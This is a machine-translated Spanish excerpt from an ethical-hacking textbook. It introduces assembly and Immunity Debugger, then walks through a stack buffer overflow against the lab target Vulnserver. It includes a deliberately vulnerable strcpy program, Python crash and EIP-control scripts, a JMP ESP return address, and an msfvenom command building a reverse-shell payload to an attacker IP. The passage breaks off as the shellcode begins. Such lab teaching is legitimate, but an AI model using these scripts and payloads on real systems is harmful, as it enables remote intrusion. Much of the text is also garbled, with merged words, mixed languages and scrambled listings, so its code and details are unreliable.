Segmentos de memoria Demasiadas cosas, ¿verdad? En la Figura 15.5, puede ver las áreas de segmentación de la memoria. El área de texto es donde se almacenan las instrucciones de ensamblaje. Los datos y BSS son para almacenamiento variable. El montón es una ubicación en la memoria donde puede almacenar y manipular datos dinámicamente. Figura 15.5 Segmentos de memoria Modos de direccionamiento Hay diferentes métodos para manipular un registro. La Tabla 15.6 resume todos los tipos de modos de direccionamiento. Basado en la Tabla 15.6, estamos moviendo un registro a un registro primero en la parte superior. En el siguiente, estamos eliminando un número a un registro. En el tercer elemento, estamos eliminando un número a una dirección de memoria. Finalmente, estamos eliminando el valor en el registro EBX a la dirección de memoria almacenada en el registro EAX . Tabla 15.6 Modos de direccionamiento Canal de Telegram : @IRFaraExam Machine Translated by Google NOMBRE EJEMPLO Registrarse MOVEAX, ECX MOVEAX inmediato,0C Directo MOV[AC1177FF],0C Registro MOV indirecto [EAX], EBX Ejemplo de ingeniería inversa En esta sección, crearemos un programa C simple que podemos usar para la ingeniería inversa en la siguiente sección. Aquí, la ingeniería inversa significa inspeccionar sus instrucciones en lenguaje ensamblador para visualizar y comprender cómo funciona el procesamiento de bajo nivel debajo del capó. VisualStudioCode para C/C++ Para este ejemplo práctico, estamos utilizando Windows 10 como sistema operativo. (Debería acostumbrarse a usar ejercicios de desbordamiento de búfer e ingeniería inversa en su sistema operativo Windows. ¿Por qué? Porque el 90 por ciento de las aplicaciones explotadas se basarán en el sistema operativo Windows). A continuación, instalaremos Visual Studio Code (que es gratuito) descargándolo de la siguiente URL: code.visualstudio.com/download Una vez instalados, añadiremos los plugins de C++ para poder desarrollar nuestros programas C y C++. Para instalar la extensión Microsoft C/C++, siga estos pasos: 1.Haga clic en el icono de vista Extensiones en la barra lateral (Ctrl+Mayús+X). 2.BuscarC++. 3.Haga clic en Instalar. Tendremos que instalar un segundo complemento en nuestro programa C, y se llama CodeRunner. Siga los mismos pasos anteriores para instalar este complemento también. Hay un paso más antes de que comencemos a ejecutar nuestro programa C: debemos instalar los archivos binarios de Mingw desde el siguiente enlace (puede buscarlo en Google ya que es una URL larga; el enlace de descarga está en https://SourceForge.net): https://sourceforge.net/projects/mingw w64/files/ Toolchains%20targetting%20Win32/Personal%20Builds/mingw Canal de Telegram : @IRFaraExam Machine Translated by Google compilaciones/instalador/mingw-w64-install.exe/descarga Una vez descargado, debe seguir las instrucciones para instalarlo en su sistema operativo Windows. A continuación, debe agregarlo a su variable PATH siguiendo estos pasos: 1. En la barra de búsqueda de Windows, escriba configuración para abrir su Configuración de Windows. 2. Busque las variables de entorno Edit para su cuenta. 3. Elija la variable Ruta y, a continuación, seleccione Editar. 4. Seleccione Nuevo y agregue la ruta Mingw-w64 a la ruta del sistema. La ruta exacta depende de la versión de Mingw-w64 que haya instalado y de dónde haya instalado la edición . 5.Haga clic en Aceptar para guardar la RUTA actualizada. ventanas para que la nueva ubicación de PATH esté disponible. Para comenzar con la programación, seleccione el menú Archivo y luego haga clic en el elemento Nuevo archivo (o presione Ctrl+N). A continuación, agregue el siguiente código dentro del nuevo archivo vacío: #include<stdio.h> intmain() { char*mensaje="HolaMundo\n"; printf(mensaje); retorno0; } Antes de compilar el programa, necesitamos guardarlo primero. Entonces, presione Ctrl+S en su teclado para guardarlo y asegúrese de seleccionar el tipo como C (en mi caso, el nombre de mi programa será HelloWorld.c ). Después de guardar el archivo, tendremos que depurar/ejecutar la unidad. Haga clic con el botón derecho en cualquier lugar dentro del archivo y seleccione el elemento Ejecutar código del menú (el primero en la parte superior). [Ejecutando]cd"c:\Users\admin\"&&gccHelloWorld.c-oHelloWorld&&"c:\Users\admin\"HelloWorld HelloWorld Canal de Telegram : @IRFaraExam Machine Translated by Google [Listo] salió con código = 0 en 0.237 segundos Antes de comenzar el proceso de ingeniería inversa , repasemos el programa. Primero, incluimos la biblioteca estándar de entradaÿsalida para imprimir en la pantalla (porque usaremos la función printf ). Luego, creamos la función principal que contiene la lógica de este programa. Después de eso, declaramos un mensaje de variable de cadena . ”mensaje utilizando la función printf . Finalmente, un retorno a cero indica que el programa, ha finalizado con éxito. Depurador de inmunidad para ingeniería inversa Ahora es el momento de comenzar a practicar las instrucciones del lenguaje ensamblador que aprendió anteriormente en este capítulo. Para este ejercicio, usaremos Immunity Debugger para mostrar las instrucciones de ensamblado del programa Hello World (que creamos anteriormente en el ejemplo de Ccode). Puede descargar una copia de este software en www.immunityinc.com/products/debugger/ Una vez que haya instalado edit, ejecute las unidades para que pueda seguir el ejercicio. Para abrir el programa Hello World, vaya al menú Archivo, seleccione Abrir y luego navegue hasta donde guardó el archivo Hello World.exe . Cuando tiene un programa dentro de Immunity, comienza en estado de pausa y puede verlo en la Figura 15.6 en la esquina inferior derecha. Para acceder a la función principal de la aplicación Hello World, desplácese hacia abajo en el panel superior izquierdo hasta que vea el patrón que se muestra en la Figura 15.7. Echemos un vistazo rápido al entorno del depurador (consulte la Figura 15.6). Como puede ver, tenemos cuatro paneles en Immunity. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.6 Inmunidad en pausa Figura 15.7 Instrucciones de la función principal En el de arriba a la izquierda, tenemos todas las instrucciones de la CPU. La instrucción resaltada es SUBESP, 0C (ver Figura 15.6); significa restar de ESP el valor 0C (esta es una representación hexadecimal). A la izquierda de la instrucción de ensamblaje, primero verá la dirección de memoria de esta instrucción, luego el código de operación y finalmente el código de ensamblaje. Contiene el operando fuente, que es OC, en este caso, el operando destino, ESP. Otra cosa a tener en cuenta en esta sección es el código de operación; usaremos el código de operación más adelante (en el próximo capítulo) cuando inyectemos nuestro código shell para la explotación. Por lo tanto, un código shell es una serie de códigos op. Canal de Telegram : @IRFaraExam Machine Translated by Google instrucciones de ensamblaje que queremos inyectar como un shell remoto, por ejemplo. Espere, aún no hemos terminado; asegúrese de que estas instrucciones se guarden en la memoria en un lugar llamado texto. Sigamos el encabezado de esta instrucción y la veamos en vivo en la memoria. Haga clic con el botón derecho en la instrucción y seleccione Seguir en el volcado; Figura 15.8 Seguimiento en volcado Ahora revise la sección inferior izquierda (vea la Figura 15.9); la dirección está resaltada y muestra el código de operación 83EC0C. Figura 15.9 Ventana de volcado de memoria Si desea ver toda la memoria, seleccione el menú Ver y seleccione el elemento Memoria, como se muestra en la Figura 15.10. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.10 Menú del mapa de memoria ¿Recuerdas cuando se dijo anteriormente que las instrucciones de ensamblaje se almacenan en la sección de texto de la memoria? Ahora puedes ver la prueba frente a ti; consulta la figura 15.11. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.11 Ventana del mapa de memoria Si hace doble clic en la línea de texto de la aplicación Hello World, le mostrará todas las instrucciones de montaje almacenadas en esta área, como se muestra en la Figura 15.12. Figura 15.12 HelloWorld.text Impresionante. Ahora, ¿qué pasa con los demás (cerrar la ventana de volcado primero)? Antes de cerrar la ventana de memoria, verifique la diferencia en la columna de acceso entre la sección de texto y la sección bss (consulte la Figura 15.11). En el área de texto, puede leer y ejecutar, ¡pero en el bss puede leer y escribir! Esto es protección, porque los diseñadores del sistema operativo no quieren que escriba su código en la sección de texto porque podrá ejecutar lo que quiera, ¿verdad? Canal de Telegram : @IRFaraExam Machine Translated by Google desbordamiento de búfer en el capítulo siguiente. Cierre esta ventana de Mapa de memoria y vuelva a la ventana de la CPU. Entonces, cubrimos la sección de instrucciones de la CPU y la sección de volcado de memoria. En la parte superior derecha, tenemos los registros de la CPU (vea la Figura 15.13). Recuerde que estos registros están ubicados físicamente en la propia CPU (ya cubrimos todos estos registros en la sección básica). Figura 15.13 Registros La esquina final (en la parte inferior derecha) está dedicada a las operaciones de la pila. Por ahora, comprenda que la pila tiene la parte inferior indicada por el puntero base (EBP), y la parte superior está indicada por el puntero de la pila (ESP), como se muestra en la Figura 15.14. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.14 Pila Resumen Es normal si siente que este capítulo es difícil. El lenguaje ensamblador es único. Al igual que con cualquier otra cosa, necesita practicar lo que ha aprendido hasta ahora. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 16 Desbordamiento de búfer/pila En el capítulo anterior, aprendió sobre las instrucciones de ensamblaje. Después de eso, vio cómo usar Immunity Debugger para visualizar las instrucciones internas de un programa (ingeniería inversa actual). Antes de comenzar, ya debe comprender los conceptos básicos de las instrucciones del lenguaje ensamblador y debe haber practicado los ejemplos del capítulo anterior. Los temas sobre los que aprenderá en este capítulo incluyen los siguientes: Basicsofthestack Cómoexplotarlapila El flujo de trabajo para lograr un desbordamiento de búfer Conceptos básicos de StackOverflow Ahora que comprende los fundamentos de la ingeniería inversa, es hora de comenzar con algo más significativo para la explotación. Descripción general de la pila Para resumir, una pila se usa para asignar almacenamiento a corto plazo para los parámetros de función y las variables locales de esa función. Es importante saber que se crea una nueva pila cada vez que no funciona. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 16.1 Punteros de pila Quiero mencionar dos instrucciones críticas que la pila usa con frecuencia, las instrucciones PUSH y POP. ¿Cuáles son estas instrucciones de todos modos? Las cubriremos en detalle en las próximas secciones. PUSHInstrucción Comencemos con un ejemplo para ver cómo funciona la instrucción PUSH. ¿Qué sucede cuando decimos PUSHEBP, suponiendo que el valor de EBPregister es 0589AFCC ? Figura 16.2 EMPUJEBP En la Figura 16.2, le muestro que cuantos más elementos agrega a la pila, la dirección se mueve hacia arriba y eso hace que las direcciones sean más bajas. Canal de Telegram : @IRFaraExam Machine Translated by Google hacia arriba, más tocado disminuirá. POPInstrucción La instrucción POP es lo opuesto al mecanismo PUSH. Supongamos que tiene la instrucción POPEAX, luego el valor 0589AFCC (que usamos en la instrucción PUSH) se eliminará de la parte superior de la pila. Al mismo tiempo, el valor 0589AFCC se moverá al registro EAX. CProgramEjemplo La mejor manera de entender cómo funciona la pila es a través de un ejemplo real. El lenguaje C es un gran lenguaje para usar cuando se trata de aprender las instrucciones de ensamblaje. No se preocupe si no sabe cómo funciona la programación C / C ++; repasaremos cada línea de ajuste . En el capítulo anterior, usted vio un programa HelloWorld.c . En esta sección, llevaremos las cosas al siguiente nivel y crearemos un programa para visualizar el búfer: //labibliotecastring.hesnecesariaparamanipularlacadenaenC #include<string.h> // Lafuncióndecopiacopiaráunmensajedecadenaenelbúfer. //Char*significa una cadena en C. voidcopy(char*mensaje) { //Declarar una matriz de caracteres charbuffer[15]; // copia el argumento del mensaje en la matriz de búfer strcpy (búfer, mensaje); } //La función principal es la que se llama al principio cuando se inicia el programa intmain(intargc,char*argv[]){ //variablelocalentero intlocal_variable=1; //Llamar a la función de copia y pasar el valor del argumento ingresado por el usuario en la línea de comando. copiar(argv[1]); //salir de la aplicación return0; } Canal de Telegram : @IRFaraExam Machine Translated by Google WhathappenedinthisCprogram? En primer lugar, wecreatedthemainfunctionthattakes argumentsfromthecommandline.The argc istheargumentscounter, y argv isanarrayofstrings.Youalwaysstartwith1sinceargument0istheapplication nameandnottheargumentitself (argv [1], argv [2], etc., willcontainthe-lineinput valueofthecommand) .Onthefirstline (insidethe función principal), que declaredadummyintegervariable toseehowitwillfit (local_variable) durante el proceso de ingeniería inversa. A continuación, llamamos a la función de copia y pasamos el argumento de cadena que ingresamos en la línea de comando. En la función de copia, creamos una matriz de caracteres; aquí es donde alm Análisis de búfer con ImmunityDebugger Ahora hagamos ingeniería inversa de este programa utilizando Immunity Debugger . Para compilar y generar el archivo .exe , deberá seguir el mismo patrón que hicimos para el programa Hello World en el capítulo anterior . Abra Immunity Debugger y, esta vez, cuando seleccione Abrir archivo en el menú, ingrese una entrada en el campo de argumentos ABCD (vea la figura 16.3). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 16.3 ImmunityDebugger, abriendo un archivo Una vez cargado ImmunityDebugger, desplácese hacia abajo en la ventana de instrucciones (el ventana superior izquierda) hasta que vea el siguiente grupo de instrucciones (dirección las ubicaciones serán diferentes en su lado): 004015C0/$55PUSHEBP 004015C1 | .89E5004015C3 | .83EC28004015C6 | .8B4508004015C9 | .89442404004015CD | .8D45E9004015D0 | .890424004015D3 | .E8DC0F0000004015D8 | .90004015D9 | .C9004015DA \ .C3004015DB / $ 55004015DC | .89E5004015DE | .83E4F0004015E1 MOVEBP,ESP SUBESP,28 MOVEAX,DWORDPTRSS:[EBP+8] MOVDWORDPTRSS: [ESP+4],EAXLEAEAX,DWORDPTRSS:[EBP-17] MOVDWORDPTRSS: [ESP],EAXCALL<JMP.&msvcrt.strcpy>NOP | .83EC20004015E4 EMPUJAR | .E8B7000000004015E9 | .C744241C0100> MOVEBP,ESP ANDESP,FFFFFFF0 SUBESP,20 LLAMADASimpleBu.004016A0 MOVDWORDPTRSS:[ESP+1C],1 MOVEAX,DWORDPTRSS:[EBP+C] ADDEAX,4 MOVEAX,DWORDPTRDS:[EAX] MOVDWORDPTRSS:[ESP],EAX LLAMADASimpleBu.004015C0 MOVEAX,0 SALIR SALIR RENTAR RENTAR 004015F1|.8B450C004015F4|.83C004004015F7|.8B00004015F9|.890424004015FC|.E8BFFFFFFF00401601|.B80000000000401 NOP En la parte superior, la función de copia comienza aquí: 004015C0/$55PUSHEBP Lafunciónprincipalcomienzaenlasiguientelínea: 004015DB/$55PUSHEBP Agregue un punto de interrupción donde declaró la variable entera ficticia (dentro del función principal). Agregue un punto de interrupción haciendo clic con el botón derecho y seleccionando Punto de interrupción ÿ Alternar (un punto de interrupción es una ubicación en el código fuente donde desea que detener el programa) Canal de Telegram : @IRFaraExam Machine Translated by Google 004015E9|.C744241C0100>MOVDWORDPTRSS:[ESP+1C],1 Una vez establecido el punto de interrupción, haga clic en Ejecutar (consulte la Figura 16.4) en la pequeña barra de herramientas para ejecutar las instrucciones y detener la línea de punto de interrupción elegida. Figura 16.4 ImmunityDebugger, Botón Ejecutar Creamos estas variables ficticias para que pueda ver cómo se copian las variables en la pila. Para ver este proceso en acción, haga clic en Pasar por encima (tres botones a la derecha del botón Ejecutar) o use la tecla F8 para ir a la siguiente línea. Inspeccionemos la ventana de la pila de cerca (ventana inferior derecha); si está siguiendo junto con su dirección, sus números serán totalmente diferentes a los que ve aquí; 0061FEB000000005… 0061FEB400770DF0ð.w. 00618FEB/0061FF68hÿa. 0061FEBC|0040167B{ÿ@.RETURNtoSimpleBu.0040167BfromSimpleBu.004014C0 0061FEC0|00401610ÿ ÿ@.SimpleBu.00401610 0061FEC4|00000000…. 0061FEC8|00000005ÿ… 0061FECC|00000001ÿ… 0061FED0|00000005ÿ… 0061FED4 | 00770DF0ð.w. 0061FED8|0061FF68hÿa. Como puede ver, el valor 1 se ha copiado en la pila en la dirección 0061FECC. ¿Por qué se almacena el valor 1 en esta dirección? De acuerdo con las instrucciones de ensamblado, el número 1 debe almacenarse en ESP+1C; usando una calculadora binaria, los resultados son iguales a 61FECC. Ahora ya sabe cómo un programa almacena una variable en la pila. A continuación, use el botón Paso a paso para avanzar y detener la siguiente línea (justo antes de que llamemos a la función de copia): 004015FC|.E8BFFFFFFFCALLSimpleBu.004015C0 Esta instrucción llamará a la función de copia, pero antes de llamarla, inspeccionemos qué hay dentro de la pila: Canal de Telegram : @IRFaraExam Machine Translated by Google 0061FEB000770E48Hw.ASCII"ABCD" 0061FEB400770DF0ð.w. 00618FEB/0061FF68hÿa. Como puede ver, el valor de entrada ABC se Desalmacenó antes de ejecutar la función de copia. ¿Por qué? Recuerde que este valor es un parámetro para esta función, sin él, la función de copia no se podrá ejecutar correctamente. Para continuar con la función de copia, usaremos el botón Step Into del menú (no Step Over que usamos anteriormente). Una vez que haga clic en el botón Step Into, la instrucción resaltada se moverá a la función de copia: 004015C0/$55PUSHEBP Veamos la creación de la pila en la función de copia: 004015C0/$55PUSHEBP 004015C1|.89E5MOVEBP,ESP 004015C3|.83EC28SUBESP,28 Mover ESP a EBP los hará iguales, ¿verdad? En otras palabras, esto es lo que parece en esta etapa. La pila está vacía, y la base y la parte superior de la pila son iguales. A continuación, el compilador resta 28 del registro ES; Y listo , la pila de la función de copia ha sido creada con éxito: 0061FE800061FE6Clþa. 0061FE84000001300.. 0061FE880061FFCCÌÿa. 0061FE8C74E3CCC0ÀÌãtmsvcrt.74E3CCC0 0061FE90AAD8B1B6¶ ± ت 0061FE94FFFFFFFEþÿÿÿ 0061FE98 / 0061FF68hÿa. 0061FE9C | 004014CFïÿ @ .RETURNTOSIMPLEBU.004014CFFROM <JMP. Y MSVCRT._ONEXIT> 0061FEA0 | 00401610ÿ ÿ 00401610ÿ ÿ 0061FEBU.00401610 0061FEA4 | 7769F94ES'IRTRETURNTONTL.7769F94EFLL.776F94EFROMNTLL.7769F960 0061FEA8 | 0061FED8ØþA. A continuación, el ensamblador copia la dirección ABCD en la pila actual: 004015C6|.8B4508MOVEAX,DWORDPTRSS:[EBP+8] 004015C9|.89442404MOVDWORDPTRSS:[ESP+4],EAX Luego, las siguientes dos líneas se agregarán a la parte superior de la pila del tocado donde la cuerda Canal de Telegram : @IRFaraExam Machine Translated by Google será copiado: 004015CD|.8D45E9LEAEAX,DWORDPTRSS:[EBP-17] 004015D0|.890424MOVDWORDPTRSS:[ESP],EAX Cuando vamos después de la función strcpy , puede ver ( 0061FE90434241B6¶ABC ) el ABCDASCII se copia en orden inverso. ¿Recuerda el little endian que cubrimos en el capítulo anterior? 0061FE800061FE91'þa.ASCII "ABCD" 0061FE8400BB0E48H».ASCII"ABCD" 0061FE880061FFCCÌÿa. 0061FE8C74E3CCC0ÀÌãtmsvcrt.74E3CCC0 0061FE90434241B6¶ABC 0061FE94FFFF0044D.ÿÿ 0061FE98 / 0061FF68hÿa. 0061FE9C|004014CFÏÿ@.RETURNtoSimpleBu.004014CFfrom<JMP.&msvcrt._onexit> 0061FEA0|00401610ÿ ÿ@.SimpleBu.00401610 0061FEA4|7769F94ENùiwRETURNtontdll.7769F94Efromntdll.7769F960 0061FEA8| 0061FED8Øþa. Desbordamiento de pila En este capítulo, desarrollamos el programa C (Simple Buffer.c ) porque es vulnerable al desbordamiento de pila. Esta es la diferencia entre un desarrollador normal y un analista de seguridad. voidcopy(char*mensaje) { //Declarar una matriz de caracteres charbuffer[15]; // copia el mensaje en la matriz de búfer strcpy (búfer, mensaje); } Está recibiendo un parámetro de mensaje y ¿quién controla la entrada para esta función? ¿Lo has adivinado? Es el usuario a través de la línea de comandos, ¿y si ese usuario es un hacker? Canal de Telegram : @IRFaraExam Machine Translated by Google Si observa detenidamente esta función, verá un límite de tamaño de matriz de búfer fijo declarado de 15. Ahora, ¿qué sucede si un usuario envió más de 15? Abramos el depurador de inmunidad y carguemos el mismo programa, pero esta vez vamos a poner el hacker hacker e intentar destruir la pila. Bueno, intentemos atacar el programa escribiendo muchos As (más de 15 como mínimo) en el campo de argumento (en lugar de ABCD) y haciendo clic en Abrir (eligiendo la letra A es aleatoria; puede ser B o C, etc.). 004015E9|.C744241C0100>MOVDWORDPTRSS:[ESP+1C],1 En esta etapa, agregaremos otro punto de interrupción en la instrucción NOP justo después de la línea donde se copió el búfer: 004015D3|.E8DC0F0000CALL<JMP.&msvcrt.strcpy>004015D8|.90NOP Una vez establecido el punto de interrupción, haga clic en Ejecutar para ejecutar y detener la instrucción NOP. ¿Adivina qué? Simplemente desbordamos la pila con As: 0061FE8400B10EC8ȱ.ASCII"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0061FE880061FFCCÌÿa. 0061FE8C74E3CCC0ÀÌãtmsvcrt.74E3CCC0 0061FE90414141D3óAAA 0061FE9441414141AAAA 0061FE9841414141AAAA 0061FE9C41414141AAAA 0061FEA041414141AAAA 0061FEA441414141AAAA 0061FEA841414141AAAA 0061FEAC41414141AAAA 0061FEB041414141AAAA La figura 16.5 muestra lo que sucede cuando hacemos clic en Ejecutar. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 16.5 Mensaje de error Echa un vistazo a este divertido mensaje; está llorando como un bebé: “No sé cómo continuar porque la dirección de memoria 414141 no se puede leer”. ¡Por supuesto, no se puede leer! En las próximas secciones, veremos cómo hacer esta acción. StackOverflowMechanism ¿Qué sucedió realmente cuando llenamos la pila con As? La pregunta más importante, ¿por qué se llena el EIP con As? (¿Por qué no EBX o ECX, y pronto?) La respuesta más fácil es que cada función (como la función de copia en nuestro programa C) necesitará almacenar la dirección de retorno en el registro EIP, y este valor se guardará temporalmente en la pila/búfer como se muestra en la Figura 16.6. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 16.6 Estructura de pila Dado que el tamaño del búfer está limitado a 15 en nuestro programa C y lo llenamos con muchos A, el escenario que se muestra en la Figura 16.7 se ha ejecutado en lugar del comportamiento normal. En realidad, EIP se llenará solo con 4 A porque su tamaño es de solo 4 bytes. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 16.7 Llenar el búfer con As StackOverflowExplotación Esta sección tomará el concepto de desbordamiento de búfer para explotar un servidor remoto y obtener un shell remoto. Después de todo, este capítulo pretende mostrarle cómo puede aprovechar esta técnica y usarla en escenarios de la vida real. Descripción general del laboratorio Para los siguientes ejemplos de esta sección, usaremos diferentes herramientas para lograr la explotación del desbordamiento del búfer. Aplicación Vulnerable La aplicación vulnerable que usaremos en este isla está dedicada a la explotación. La aplicación vulnerable se llama Vulnserver y está disponible en GitHubat github.com/stephenbradshaw/vulnserver: AtacanteSistemaOperativo Canal de Telegram : @IRFaraExam Machine Translated by Google SO: KaliLinux IP: 172.16.0.103 VíctimaSistemaOperativo Sistema operativo: Windows10x86 IP: 172.16.0.102 Herramientas Instaladas: Depurador de inmunidad servidor de vulnerabilidades Fase 1: Prueba En el primer paso, haremos una prueba para ver si la aplicación es vulnerable al desbordamiento del búfer. Probando HappyPath Primero, necesitamos ejecutar el servidor Vuln en nuestro host de Windows. La aplicación estará escuchando las conexiones entrantes en el puerto 9999: C:\Users\Gus\Downloads\vulnserver-master\vulnserver master>vulnserver.exe Iniciandovulnserverversion1.00 Calldessentialfunctiondllversion1.00 ¡Este es un software vulnerable! ¡No permita el acceso desde sistemas o redes que no sean de confianza! Esperando las conexiones del cliente… Por otro lado, probaremos esta aplicación usando nuestra Kali VM. Para probar la conectividad de este servidor, usaremos netcat para hacer el trabajo: root@kali:~#nc-nv172.16.0.1029999 (DESCONOCIDO) [172.16.0.102]9999(?)abrir ¡Bienvenidoaservidorvulnerable! IngreseAYUDAparaayuda. AYUDA Comandos válidos: Canal de Telegram : @IRFaraExam Machine Translated by Google AYUDA ESTADÍSTICAS[valor_estadístico] RTIME[rtime_value] LTIME[ltime_value] SRUN[valor_ejecución] TRUN [valor_trun] GMON[valor_gmon] GDOG[valor_gdog] KSTET[valor_kstet] GTER[valor_gter] HTER [valor_hter] LTER[valor_filtro] KSTAN[valor_lstan] SALIDA Como puede ver, la aplicación remota acepta diferentes comandos una vez que estamos conectados de forma remota . Ahora, es momento de comenzar a construir nuestro PoC usando una secuencia de comandos de Python. En esta secuencia de comandos, enviaremos solo 10 As al servidor (usaremos el método TRUN del servidor ), y no esperamos que se bloquee: #Importthenetworksocketlibrary importsocket #send10A'stotheserver test="A"*10try: #crearunobjetodesocketparaconectarconlosservidores=socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn=s.connect( #Espere y reciba algunos datos en la recepción (1024) print ("Éxito") #Si ocurre un error/excepción, entonces ejecute esta línea excepto: print("OcurrióError") finalmente: Canal de Telegram : @IRFaraExam Machine Translated by Google #conexión cercana cerrar() Cuando se ejecutó el script de Python, se muestra el mensaje de éxito, por lo que la prueba de ruta feliz ha funcionado correctamente: root@kali:~/BFO#pythonHappy_test.pySuccess ProbandoelCrash En lugar de enviar solo 10 A, enviaremos 10 K para bloquear el servidor (los 10 K Como usamos cuando iniciamos la prueba de desbordamiento de búfer es solo un número aleatorio para asegurarnos de que podremos bloquear la aplicación): importsocket importsys #send10000A'stotheserver crash="A"*10000 pruebe: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn=s.connect(('172.16.0.102',9999)) s.recv(1024) s.send('TRUN/.:/'+ crash) s.recv(1024) excepto: print("ErrorOccured") sys.exit(0) finalmente: s.close() Ejecutar el script de Python anterior bloqueará el servidor remoto: root@kali:~/BFO#pythoncrash.pyErrorOcurrió Fase 2: tamaño del búfer Nuestro próximo objetivo es estimar el tamaño del búfer de la pila. ¿Por qué? Porque queremos saber dónde está ubicado el EIP (consulte la Figura 16.6) para que podamos insertar la instrucción de ensamblaje para apuntar a nuestra ejecución de carga útil (lo haremos en la fase 3). PatrónCreación Canal de Telegram : @IRFaraExam Machine Translated by Google Machine Translated by Google proceso haciendo clic en el menú Archivo y luego seleccionando Adjuntar de la lista. Se abrirá una nueva ventana y seleccionaremos la aplicación de la lista (se llama Vulnserver). Una vez que hagamos clic en Adjuntar, Immunity se pausará. root@kali:~/BFO#pythonmsf_chunk.py El programa Python debería colgarse en esta etapa, pero mirando de cerca el Host de Windows, podré ver algunos resultados prometedores en la ventana Registros dentro de Immunity: EAX00A8F1E8ASCII "TRUN /.:/ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac ECX00E55118 EDX00006BD7 EBX000000C0 ESP00A8F9C8ASCII "Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr EBP6F43366F ESI00401848vulnserv.00401848 EDI00401848vulnserv.00401848 EIP386F4337 Anotemos el valor de EIP y suministrémoslo a Metasploit para que devuelva el tamaño exacto del búfer mediante la herramienta pattern_offset : root@kali:/usr/share/metasploit-framework/tools/exploit#./pattern_offset.rb-l10000q386F4337 [*]Coincidencia exacta enoffset2003 Fase 3: control de EIP Para visualizar lo que sucedió hasta ahora, creemos la siguiente carga útil: 2003As+4Bs+5000Cs Estamos usando 2003As (A=41 en hexadecimal) porque ese es el tamaño del búfer. Cuatro Bs (B=42 en hexadecimal) representarán el tamaño de EIP (porque el tamaño de EIP es de 4 bytes). Finalmente, estamos leyendo unos 5,000 C caracteres aleatorios (C = 43 en hexadecimal) para mostrar cómo se ve después de la EIP: Canal de Telegram : @IRFaraExam Machine Translated by Google importsocket importsys prueba_eip="A"* 2003+"B"* 4+5000 *"C" pruebe: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) c=s.connect(('172.16.0.102',9999)) s.recv(1024) s.send('TRUN/.:/'+ test_eip) s.recv(1024) excepto: print("ErrorOccured") sys.exit(0) finalmente: s.close() Después de guardar el script de Python, realice los siguientes pasos: 1. En el host de Windows, asegúrese de que Vulnserver.exe se esté ejecutando. 2. En el host de Windows, ejecute Immunity Debugger y adjunte la aplicación. 3. En Inmunidad (después de adjuntar el proceso), haga clic en el botón Ejecutar y espere. 4. En Kali, ejecute el script de Python. 5. Inspeccione los resultados dentro de Immunity Debugger (consulte la figura 16.8). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 16.8 Desbordamiento de pila con A, B y C Preste atención a la ventana de la pila. ¿Ve cómo encajan A, B y C? Tenga esta imagen (Figura 16.8) en mente. La usaremos para visualizar cómo explotar la aplicación Vulnserver en los próximos pasos. AgregarlainstrucciónJMP ? Nowthatyoucancontrolthestack, thenexttaskistoinstructEIPtoexecutethe JMPESPinstruction.WhyJMPESP MyendgoalistofilltheESPwithmy shellcodepayload (lookingat Figure16.8, youshouldseethattheESPvalueis filledwithCs) .Butbeforethat, theEIPaddresslocationwillinstructthe assemblertoexecutetheshellcodeusingtheJMPESPassemblyinstruction.But espera Wecan'tjustinsertJMPESPinEIP; wewillfillEIPwiththeaddressof thatinstruction (JMPESPinthiscase) .Again, wewilluseImmunityDebugger tolocatearandomJMPESPaddresslocation.Togetthejobdone, followthese pasos: 1. En el host de Windows, asegúrese de que Vulnserver.exe se esté ejecutando. 2. En el host de Windows, ejecute Immunity Debugger y adjunte la aplicación. Canal de Telegram : @IRFaraExam Machine Translated by Google 3. En Inmunidad (después de adjuntar el proceso), haga clic en Ejecutar. 4.Haga clic con el botón derecho dentro de la ventana Instrucciones de ensamblaje (arriba a la izquierda) y seleccione BuscarÿTodos los comandos en todos los módulos. 5. Una vez que se abra la ventana Buscar, ingrese jmpesp y haga clic en el botón Buscar. 6. Se mostrarán todos los artículos con todas las instrucciones correspondientes. Elija el siguiente (en su extremo, los tocados y sus ubicaciones serán diferentes): a.Dirección=625011AF b.Desmontaje=JMPESP c.ModuleName=C:\Users\Gus\Downloads\vulnserverÿ master\vulnserverÿmaster\essfunc.dll Antes de pasar a la sección de código de shell, debe saber cómo manejar la dirección que encontramos. ¿Recuerda el principio de littleÿendian del capítulo anterior? De hecho, en el código de Python que verá en la siguiente sección, utilizaremos el siguiente valor para el EIP: . y el resto es el inverso \xAF\x11\x50\x62\x en Python significa que este es un valor hexadecimal, del valor de dirección real (eso es mostrar el trabajo de little endian). Fase 4: Inyectar la carga útil y obtener un shell remoto Es hora de los resultados finales. ¿Está emocionado? Este es el momento en el que llevamos un shell remoto al host víctima de Windows. Generación de carga útil Usemos MetasploitMSFvenom para generar una carga útil de shell inversa: raíz @ kali: ~ # MSFvenom-PWindows / shell_reverse_tcplhost = 172.16.0.103lport = 1111-AX86-B "\ X00" -fypython [-] noplatformwasselected, choosetmsf :: módulo :: plataforma :: windowsfromthepayload found11compatibledeloders intentandottoencodepayloadwith1iterationsofx86 / shikata_ga_nai x86 / shikata_ga_naisucceseedwithitsize351 (iteración=0) Canal de Telegram : @IRFaraExam Machine Translated by Google x86/shikata_ga_naichosenwithfinalsize351 Payloadsize:351bytesFinalsizeofpythonfile:1712bytes buf=b"" 